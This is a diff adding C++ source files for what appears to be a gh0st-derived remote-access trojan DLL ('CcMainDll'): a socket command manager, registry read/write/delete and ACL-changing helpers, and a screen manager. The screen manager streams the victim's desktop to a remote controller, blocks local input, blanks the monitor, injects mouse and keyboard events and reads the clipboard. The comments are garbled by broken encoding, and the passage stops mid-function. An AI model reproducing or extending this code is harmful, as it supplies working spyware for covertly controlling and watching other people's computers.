||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
#include "..\pch.h"
|
||||
//---<2D><>ʵ<EFBFBD><CAB5>CManager<65><72>ʲôҲû<D2B2><C3BB>ʵ<EFBFBD><CAB5> <20><><EFBFBD><EFBFBD>ȥ<EFBFBD><C8A5><EFBFBD><EFBFBD>gh0st<73><74><EFBFBD><EFBFBD>ôʹ<C3B4><CAB9>cClientSocket<65>ĵ<EFBFBD>main <20><><EFBFBD><EFBFBD>
|
||||
#include "Manager.h"
|
||||
#include "until.h"
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CManager::CManager(CClientSocket *pClient)
|
||||
{
|
||||
m_pClient = pClient;
|
||||
m_pClient->setManagerCallBack(this);
|
||||
|
||||
/*
|
||||
bManualReset
|
||||
[in] Specifies whether a manual-reset or auto-reset event object is created. If TRUE, then you must use the ResetEvent function to manually reset the state to nonsignaled. If FALSE, the system automatically resets the state to nonsignaled after a single waiting thread has been released.
|
||||
*/
|
||||
// <20>ڶ<EFBFBD><DAB6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊtrue,<2C><>ֹϵͳ<CFB5>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD>
|
||||
m_hEventDlgOpen = CreateEvent(NULL, true, false, NULL);
|
||||
}
|
||||
|
||||
CManager::~CManager()
|
||||
{
|
||||
CloseHandle(m_hEventDlgOpen);
|
||||
}
|
||||
void CManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
int CManager::Send(LPBYTE lpData, UINT nSize)
|
||||
{
|
||||
int nRet = 0;
|
||||
try
|
||||
{
|
||||
nRet = m_pClient->Send((LPBYTE)lpData, nSize);
|
||||
}catch(...){};
|
||||
return nRet;
|
||||
}
|
||||
|
||||
void CManager::WaitForDialogOpen()
|
||||
{
|
||||
WaitForSingleObject(m_hEventDlgOpen, INFINITE);
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Sleep,<2C><>ΪԶ<CEAA>̴<EFBFBD><CCB4>ڴ<EFBFBD>InitDialog<6F>з<EFBFBD><D0B7><EFBFBD>COMMAND_NEXT<58><54><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE>Ҫһ<D2AA><D2BB>ʱ<EFBFBD><CAB1>
|
||||
Sleep(150);
|
||||
}
|
||||
|
||||
void CManager::NotifyDialogIsOpen()
|
||||
{
|
||||
SetEvent(m_hEventDlgOpen);
|
||||
}
|
36
CcMainDll/CcMainDll/common/Manager.h
Normal file
36
CcMainDll/CcMainDll/common/Manager.h
Normal file
@@ -0,0 +1,36 @@
|
||||
// Manager.h: interface for the CManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_MANAGER_H__5935556F_19FF_4676_898A_3D750F2F2658__INCLUDED_)
|
||||
#define AFX_MANAGER_H__5935556F_19FF_4676_898A_3D750F2F2658__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
#include <winsock2.h>
|
||||
#include "../ClientSocket.h"
|
||||
#include "..\..\..\common\macros.h"
|
||||
#include "until.h"
|
||||
#ifdef _CONSOLE
|
||||
#include <stdio.h>
|
||||
#endif
|
||||
class CManager
|
||||
{
|
||||
friend class CClientSocket;
|
||||
typedef int (*SENDPROC)(LPBYTE lpData, UINT nSize);
|
||||
public:
|
||||
CManager(CClientSocket *pClient);
|
||||
virtual ~CManager();
|
||||
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
||||
int Send(LPBYTE lpData, UINT nSize);
|
||||
CClientSocket *m_pClient;
|
||||
|
||||
HANDLE m_hEventDlgOpen;
|
||||
void WaitForDialogOpen();
|
||||
void NotifyDialogIsOpen();
|
||||
private:
|
||||
SENDPROC m_pSendProc;
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_MANAGER_H__5935556F_19FF_4676_898A_3D750F2F2658__INCLUDED_)
|
243
CcMainDll/CcMainDll/common/RegEditEx.cpp
Normal file
243
CcMainDll/CcMainDll/common/RegEditEx.cpp
Normal file
@@ -0,0 +1,243 @@
|
||||
#include "..\pch.h"
|
||||
#include <windows.h>
|
||||
//ȥ<><C8A5><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>Ŀո<C4BF>
|
||||
char *DelSpace(char *szData)
|
||||
{
|
||||
int i=0 ;
|
||||
while(1)
|
||||
{
|
||||
if(strnicmp(szData+i," ",1))
|
||||
break;
|
||||
i++;
|
||||
}
|
||||
return (szData+i);
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1>Ȩ<EFBFBD><C8A8>(KEY_READ||KEY_WRITE||KEY_ALL_ACCESS)
|
||||
int SetKeySecurityEx(HKEY MainKey,LPCTSTR SubKey,DWORD security)
|
||||
{
|
||||
HKEY hKey;
|
||||
SID_IDENTIFIER_AUTHORITY sia = SECURITY_NT_AUTHORITY;
|
||||
PSID pSystemSid = NULL;
|
||||
PSID pUserSid = NULL;
|
||||
SECURITY_DESCRIPTOR sd;
|
||||
PACL pDacl = NULL;
|
||||
DWORD dwAclSize;
|
||||
int iResult = 0;
|
||||
|
||||
__try
|
||||
{
|
||||
if(RegOpenKeyEx(MainKey, SubKey, 0, WRITE_DAC, &hKey)!= ERROR_SUCCESS)
|
||||
__leave;
|
||||
if(!AllocateAndInitializeSid(&sia,1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid ))
|
||||
__leave;
|
||||
if(!AllocateAndInitializeSid( &sia, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,0, 0, 0, 0, 0, 0, &pUserSid))
|
||||
__leave;
|
||||
dwAclSize = sizeof(ACL) + 2 * ( sizeof(ACCESS_ALLOWED_ACE) - sizeof(DWORD) ) + GetLengthSid(pSystemSid) + GetLengthSid(pUserSid) ;
|
||||
pDacl = (PACL)HeapAlloc(GetProcessHeap(), 0, dwAclSize);
|
||||
if(pDacl == NULL)
|
||||
__leave;
|
||||
if(!InitializeAcl(pDacl, dwAclSize, ACL_REVISION))
|
||||
__leave;
|
||||
if(!AddAccessAllowedAce( pDacl, ACL_REVISION, KEY_ALL_ACCESS, pSystemSid ))
|
||||
__leave;
|
||||
if(!AddAccessAllowedAce( pDacl, ACL_REVISION, (unsigned long)security, pUserSid ))
|
||||
__leave;
|
||||
if(!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
|
||||
__leave;
|
||||
if(!SetSecurityDescriptorDacl(&sd, TRUE, pDacl, FALSE))
|
||||
__leave;
|
||||
if(RegSetKeySecurity(hKey, (SECURITY_INFORMATION)DACL_SECURITY_INFORMATION, &sd)!= ERROR_SUCCESS)
|
||||
__leave;
|
||||
iResult =1;
|
||||
}
|
||||
__finally
|
||||
{
|
||||
RegCloseKey(MainKey);
|
||||
RegCloseKey(hKey);
|
||||
|
||||
if(pDacl !=NULL)
|
||||
HeapFree(GetProcessHeap(), 0, pDacl);
|
||||
if(pSystemSid !=NULL)
|
||||
FreeSid(pSystemSid);
|
||||
if(pUserSid !=NULL)
|
||||
FreeSid(pUserSid);
|
||||
}
|
||||
|
||||
return iResult;
|
||||
}
|
||||
//<2F><>ȡע<C8A1><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D><><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD> 1-<2D><><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD> 2-<2D><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 3-<2D>жϸü<CFB8><C3BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>)
|
||||
int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData,LPBYTE szBytes,DWORD lbSize,int Mode)
|
||||
{
|
||||
HKEY hKey;
|
||||
int ValueDWORD,iResult=0;
|
||||
char* PointStr;
|
||||
char KeyName[32],ValueSz[MAX_PATH],ValueTemp[MAX_PATH];
|
||||
DWORD szSize,KnSize,dwIndex=0;
|
||||
|
||||
memset(KeyName,0,sizeof(KeyName));
|
||||
memset(ValueSz,0,sizeof(ValueSz));
|
||||
memset(ValueTemp,0,sizeof(ValueTemp));
|
||||
|
||||
__try
|
||||
{
|
||||
// SetKeySecurityEx(MainKey,SubKey,KEY_ALL_ACCESS);
|
||||
if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ,&hKey) != ERROR_SUCCESS)
|
||||
{
|
||||
iResult = -1;
|
||||
__leave;
|
||||
}
|
||||
switch(Mode)
|
||||
{
|
||||
case 0:
|
||||
switch(Type)
|
||||
{
|
||||
case REG_SZ:
|
||||
case REG_EXPAND_SZ:
|
||||
szSize = sizeof(ValueSz);
|
||||
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS)
|
||||
{
|
||||
strcpy(szData,DelSpace(ValueSz));
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case REG_MULTI_SZ:
|
||||
szSize = sizeof(ValueSz);
|
||||
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS)
|
||||
{
|
||||
for(PointStr = ValueSz; *PointStr; PointStr = strchr(PointStr,0)+1)
|
||||
{
|
||||
|
||||
strncat(ValueTemp,PointStr,sizeof(ValueTemp));
|
||||
strncat(ValueTemp," ",sizeof(ValueTemp));
|
||||
}
|
||||
strcpy(szData,ValueTemp);
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case REG_DWORD:
|
||||
szSize = sizeof(DWORD);
|
||||
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)&ValueDWORD,&szSize ) == ERROR_SUCCESS)
|
||||
{
|
||||
wsprintf(szData,"%d",ValueDWORD);
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case REG_BINARY:
|
||||
szSize = lbSize;
|
||||
if(RegQueryValueEx(hKey,Vname,NULL,&Type,szBytes,&szSize) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case 1:
|
||||
while(1)
|
||||
{
|
||||
memset(ValueSz,0,sizeof(ValueSz));
|
||||
szSize = sizeof(ValueSz);
|
||||
if(RegEnumKeyEx(hKey,dwIndex++,ValueSz,&szSize,NULL,NULL,NULL,NULL) != ERROR_SUCCESS)
|
||||
break;
|
||||
wsprintf(ValueTemp,"[%s]\r\n",ValueSz);
|
||||
strcat(szData,ValueTemp);
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case 2:
|
||||
while(1)
|
||||
{
|
||||
memset(KeyName,0,sizeof(KeyName));
|
||||
memset(ValueSz,0,sizeof(ValueSz));
|
||||
memset(ValueTemp,0,sizeof(ValueTemp));
|
||||
KnSize = sizeof(KeyName);
|
||||
szSize = sizeof(ValueSz);
|
||||
if(RegEnumValue(hKey,dwIndex++,KeyName,&KnSize,NULL,&Type,(LPBYTE)ValueSz,&szSize) != ERROR_SUCCESS)
|
||||
break;
|
||||
switch(Type)
|
||||
{
|
||||
case REG_SZ:
|
||||
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_SZ",ValueSz);
|
||||
break;
|
||||
case REG_EXPAND_SZ:
|
||||
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_EXPAND_SZ",ValueSz);
|
||||
break;
|
||||
case REG_DWORD:
|
||||
wsprintf(ValueTemp,"%-24s %-15s 0x%x(%d) \r\n",KeyName,"REG_DWORD",ValueSz,int(ValueSz));
|
||||
break;
|
||||
case REG_MULTI_SZ:
|
||||
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_MULTI_SZ");
|
||||
break;
|
||||
case REG_BINARY:
|
||||
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_BINARY");
|
||||
break;
|
||||
}
|
||||
lstrcat(szData,ValueTemp);
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case 3:
|
||||
iResult =1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
__finally
|
||||
{
|
||||
RegCloseKey(MainKey);
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
|
||||
return iResult;
|
||||
}
|
||||
//дע<D0B4><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D>½<EFBFBD><C2BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1-<2D><><EFBFBD>ü<EFBFBD><C3BC><EFBFBD><EFBFBD><EFBFBD> 2-ɾ<><C9BE>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD> 3-ɾ<><C9BE>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
||||
int WriteRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char* szData,DWORD dwData,int Mode)
|
||||
{
|
||||
HKEY hKey;
|
||||
DWORD dwDisposition;
|
||||
int iResult =0;
|
||||
|
||||
__try
|
||||
{
|
||||
// SetKeySecurityEx(MainKey,Subkey,KEY_ALL_ACCESS);
|
||||
switch(Mode)
|
||||
{
|
||||
case 0:
|
||||
if(RegCreateKeyEx(MainKey,SubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition) != ERROR_SUCCESS)
|
||||
__leave;
|
||||
case 1:
|
||||
if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
|
||||
__leave;
|
||||
switch(Type)
|
||||
{
|
||||
case REG_SZ:
|
||||
case REG_EXPAND_SZ:
|
||||
if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)szData,strlen(szData)+1) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
case REG_DWORD:
|
||||
if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)&dwData,sizeof(DWORD)) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
case REG_BINARY:
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case 2:
|
||||
if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
|
||||
__leave;
|
||||
if (RegDeleteKey(hKey,Vname) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
case 3:
|
||||
if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
|
||||
__leave;
|
||||
if (RegDeleteValue(hKey,Vname) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
__finally
|
||||
{
|
||||
RegCloseKey(MainKey);
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
return iResult;
|
||||
}
|
13
CcMainDll/CcMainDll/common/RegEditEx.h
Normal file
13
CcMainDll/CcMainDll/common/RegEditEx.h
Normal file
@@ -0,0 +1,13 @@
|
||||
#ifndef REGEDITEX_H
|
||||
#define REGEDITEX_H
|
||||
|
||||
//ȥ<><C8A5><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>Ŀո<C4BF>
|
||||
char *DelSpace(char *szData);
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1>Ȩ<EFBFBD><C8A8>(KEY_READ||KEY_WRITE||KEY_ALL_ACCESS)
|
||||
int SetKeySecurityEx(HKEY MainKey,LPCTSTR SubKey,DWORD security);
|
||||
//<2F><>ȡע<C8A1><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D><><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD> 1-<2D><><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD> 2-<2D><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 3-<2D>жϸü<CFB8><C3BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>)
|
||||
int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData,LPBYTE szBytes,DWORD lbSize,int Mode);
|
||||
//дע<D0B4><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D>½<EFBFBD><C2BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1-<2D><><EFBFBD>ü<EFBFBD><C3BC><EFBFBD><EFBFBD><EFBFBD> 2-ɾ<><C9BE>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD> 3-ɾ<><C9BE>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
||||
int WriteRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char* szData,DWORD dwData,int Mode);
|
||||
#endif
|
374
CcMainDll/CcMainDll/common/ScreenManager.cpp
Normal file
374
CcMainDll/CcMainDll/common/ScreenManager.cpp
Normal file
@@ -0,0 +1,374 @@
|
||||
// ScreenManager.cpp: implementation of the CScreenManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#include "..\pch.h"
|
||||
#define _WIN32_WINNT 0x0400
|
||||
#include "ScreenManager.h"
|
||||
#include "until.h"
|
||||
#include <WinUser.h> // BlockInput
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient)
|
||||
{
|
||||
m_bAlgorithm = ALGORITHM_SCAN;
|
||||
m_biBitCount = 8;
|
||||
m_pScreenSpy = new CScreenSpy(8);
|
||||
m_bIsWorking = true;
|
||||
m_bIsBlankScreen = false;
|
||||
m_bIsBlockInput = false;
|
||||
m_bIsCaptureLayer = false;
|
||||
|
||||
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
|
||||
m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true);
|
||||
}
|
||||
|
||||
CScreenManager::~CScreenManager()
|
||||
{
|
||||
InterlockedExchange((LPLONG)&m_bIsBlankScreen, false);
|
||||
InterlockedExchange((LPLONG)&m_bIsWorking, false);
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
WaitForSingleObject(m_hBlankThread, INFINITE);
|
||||
CloseHandle(m_hWorkThread);
|
||||
CloseHandle(m_hBlankThread);
|
||||
|
||||
if (m_pScreenSpy)
|
||||
delete m_pScreenSpy;
|
||||
}
|
||||
|
||||
void CScreenManager::ResetScreen(int biBitCount)
|
||||
{
|
||||
m_bIsWorking = false;
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
CloseHandle(m_hWorkThread);
|
||||
|
||||
delete m_pScreenSpy;
|
||||
|
||||
if (biBitCount == 3) // 4λ<34>Ҷ<EFBFBD>
|
||||
m_pScreenSpy = new CScreenSpy(4, true);
|
||||
else if (biBitCount == 7) // 8λ<38>Ҷ<EFBFBD>
|
||||
m_pScreenSpy = new CScreenSpy(8, true);
|
||||
else
|
||||
m_pScreenSpy = new CScreenSpy(biBitCount);
|
||||
|
||||
m_pScreenSpy->setAlgorithm(m_bAlgorithm);
|
||||
m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
|
||||
|
||||
m_biBitCount = biBitCount;
|
||||
|
||||
m_bIsWorking = true;
|
||||
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
|
||||
}
|
||||
|
||||
void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
{
|
||||
try
|
||||
{
|
||||
switch (lpBuffer[0])
|
||||
{
|
||||
case COMMAND_NEXT:
|
||||
// ֪ͨ<CDA8>ں<EFBFBD>Զ<EFBFBD>̿<EFBFBD><CCBF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD>Ѵ<D1B4>WaitForDialogOpen<65><6E><EFBFBD>Է<EFBFBD><D4B7><EFBFBD>
|
||||
NotifyDialogIsOpen();
|
||||
break;
|
||||
case COMMAND_SCREEN_RESET:
|
||||
ResetScreen(*(LPBYTE)&lpBuffer[1]);
|
||||
break;
|
||||
case COMMAND_ALGORITHM_RESET:
|
||||
m_bAlgorithm = *(LPBYTE)&lpBuffer[1];
|
||||
m_pScreenSpy->setAlgorithm(m_bAlgorithm);
|
||||
break;
|
||||
case COMMAND_SCREEN_CTRL_ALT_DEL:
|
||||
::SimulateCtrlAltDel();
|
||||
break;
|
||||
case COMMAND_SCREEN_CONTROL:
|
||||
{
|
||||
// Զ<><D4B6><EFBFBD><EFBFBD>Ȼ<EFBFBD><C8BB><EFBFBD>Բ<EFBFBD><D4B2><EFBFBD>
|
||||
BlockInput(false);
|
||||
ProcessCommand(lpBuffer + 1, nSize - 1);
|
||||
BlockInput(m_bIsBlockInput);
|
||||
}
|
||||
break;
|
||||
case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread<61><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_bIsBlockInput = *(LPBYTE)&lpBuffer[1];
|
||||
break;
|
||||
case COMMAND_SCREEN_BLANK:
|
||||
m_bIsBlankScreen = *(LPBYTE)&lpBuffer[1];
|
||||
break;
|
||||
case COMMAND_SCREEN_CAPTURE_LAYER:
|
||||
m_bIsCaptureLayer = *(LPBYTE)&lpBuffer[1];
|
||||
m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
|
||||
break;
|
||||
case COMMAND_SCREEN_GET_CLIPBOARD:
|
||||
SendLocalClipboard();
|
||||
break;
|
||||
case COMMAND_SCREEN_SET_CLIPBOARD:
|
||||
UpdateLocalClipboard((char *)lpBuffer + 1, nSize - 1);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}catch(...){}
|
||||
}
|
||||
|
||||
void CScreenManager::sendBITMAPINFO()
|
||||
{
|
||||
DWORD dwBytesLength = 1 + m_pScreenSpy->getBISize();
|
||||
LPBYTE lpBuffer = (LPBYTE)VirtualAlloc(NULL, dwBytesLength, MEM_COMMIT, PAGE_READWRITE);
|
||||
lpBuffer[0] = TOKEN_BITMAPINFO;
|
||||
memcpy(lpBuffer + 1, m_pScreenSpy->getBI(), dwBytesLength - 1);
|
||||
Send(lpBuffer, dwBytesLength);
|
||||
VirtualFree(lpBuffer, 0, MEM_RELEASE);
|
||||
}
|
||||
|
||||
void CScreenManager::sendFirstScreen()
|
||||
{
|
||||
BOOL bRet = false;
|
||||
LPVOID lpFirstScreen = NULL;
|
||||
|
||||
lpFirstScreen = m_pScreenSpy->getFirstScreen();
|
||||
if (lpFirstScreen == NULL)
|
||||
return;
|
||||
|
||||
DWORD dwBytesLength = 1 + m_pScreenSpy->getFirstImageSize();
|
||||
LPBYTE lpBuffer = new BYTE[dwBytesLength];
|
||||
if (lpBuffer == NULL)
|
||||
return;
|
||||
|
||||
lpBuffer[0] = TOKEN_FIRSTSCREEN;
|
||||
memcpy(lpBuffer + 1, lpFirstScreen, dwBytesLength - 1);
|
||||
|
||||
Send(lpBuffer, dwBytesLength);
|
||||
delete [] lpBuffer;
|
||||
}
|
||||
|
||||
void CScreenManager::sendNextScreen()
|
||||
{
|
||||
LPVOID lpNetScreen = NULL;
|
||||
DWORD dwBytes;
|
||||
lpNetScreen = m_pScreenSpy->getNextScreen(&dwBytes);
|
||||
|
||||
if (dwBytes == 0 || !lpNetScreen)
|
||||
return;
|
||||
|
||||
DWORD dwBytesLength = 1 + dwBytes;
|
||||
LPBYTE lpBuffer = new BYTE[dwBytesLength];
|
||||
if (!lpBuffer)
|
||||
return;
|
||||
|
||||
lpBuffer[0] = TOKEN_NEXTSCREEN;
|
||||
memcpy(lpBuffer + 1, (const char *)lpNetScreen, dwBytes);
|
||||
|
||||
|
||||
Send(lpBuffer, dwBytesLength);
|
||||
|
||||
delete [] lpBuffer;
|
||||
}
|
||||
|
||||
DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
|
||||
{
|
||||
CScreenManager *pThis = (CScreenManager *)lparam;
|
||||
|
||||
pThis->sendBITMAPINFO();
|
||||
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
pThis->WaitForDialogOpen();
|
||||
|
||||
pThis->sendFirstScreen();
|
||||
try // <20><><EFBFBD>ƶ<EFBFBD>ǿ<EFBFBD>ƹر<C6B9>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
while (pThis->m_bIsWorking)
|
||||
pThis->sendNextScreen();
|
||||
}catch(...){};
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD><DFB3><EFBFBD>Ҫ<EFBFBD><D2AA>Ϊ<EFBFBD>˱<EFBFBD><CBB1><EFBFBD>һֱ<D2BB><D6B1><EFBFBD><EFBFBD>
|
||||
DWORD WINAPI CScreenManager::ControlThread(LPVOID lparam)
|
||||
{
|
||||
static bool bIsScreenBlanked = false;
|
||||
CScreenManager *pThis = (CScreenManager *)lparam;
|
||||
while (pThis->IsConnect())
|
||||
{
|
||||
// <20>ӿ췴Ӧ<ECB7B4>ٶ<EFBFBD>
|
||||
for (int i = 0; i < 100; i++)
|
||||
{
|
||||
if (pThis->IsConnect())
|
||||
{
|
||||
// <20>ֱ<EFBFBD><D6B1>ʴ<EFBFBD>С<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>
|
||||
if (pThis->IsMetricsChange())
|
||||
pThis->ResetScreen(pThis->GetCurrentPixelBits());
|
||||
Sleep(10);
|
||||
}
|
||||
else
|
||||
break;
|
||||
}
|
||||
if (pThis->m_bIsBlankScreen)
|
||||
{
|
||||
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);
|
||||
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
|
||||
bIsScreenBlanked = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (bIsScreenBlanked)
|
||||
{
|
||||
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 0, NULL, 0);
|
||||
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1);
|
||||
bIsScreenBlanked = false;
|
||||
}
|
||||
}
|
||||
BlockInput(pThis->m_bIsBlockInput);
|
||||
|
||||
// <20>ֱ<EFBFBD><D6B1>ʴ<EFBFBD>С<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>
|
||||
if (pThis->IsMetricsChange())
|
||||
pThis->ResetScreen(pThis->GetCurrentPixelBits());
|
||||
}
|
||||
|
||||
BlockInput(false);
|
||||
return -1;
|
||||
}
|
||||
|
||||
void CScreenManager::ProcessCommand( LPBYTE lpBuffer, UINT nSize )
|
||||
{
|
||||
// <20><><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>Ϸ<EFBFBD>
|
||||
if (nSize % sizeof(MSG) != 0)
|
||||
return;
|
||||
|
||||
SwitchInputDesktop();
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int nCount = nSize / sizeof(MSG);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
for (int i = 0; i < nCount; i++)
|
||||
{
|
||||
MSG *pMsg = (MSG *)(lpBuffer + i * sizeof(MSG));
|
||||
switch (pMsg->message)
|
||||
{
|
||||
case WM_LBUTTONDOWN:
|
||||
case WM_LBUTTONUP:
|
||||
case WM_RBUTTONDOWN:
|
||||
case WM_RBUTTONUP:
|
||||
case WM_MOUSEMOVE:
|
||||
case WM_LBUTTONDBLCLK:
|
||||
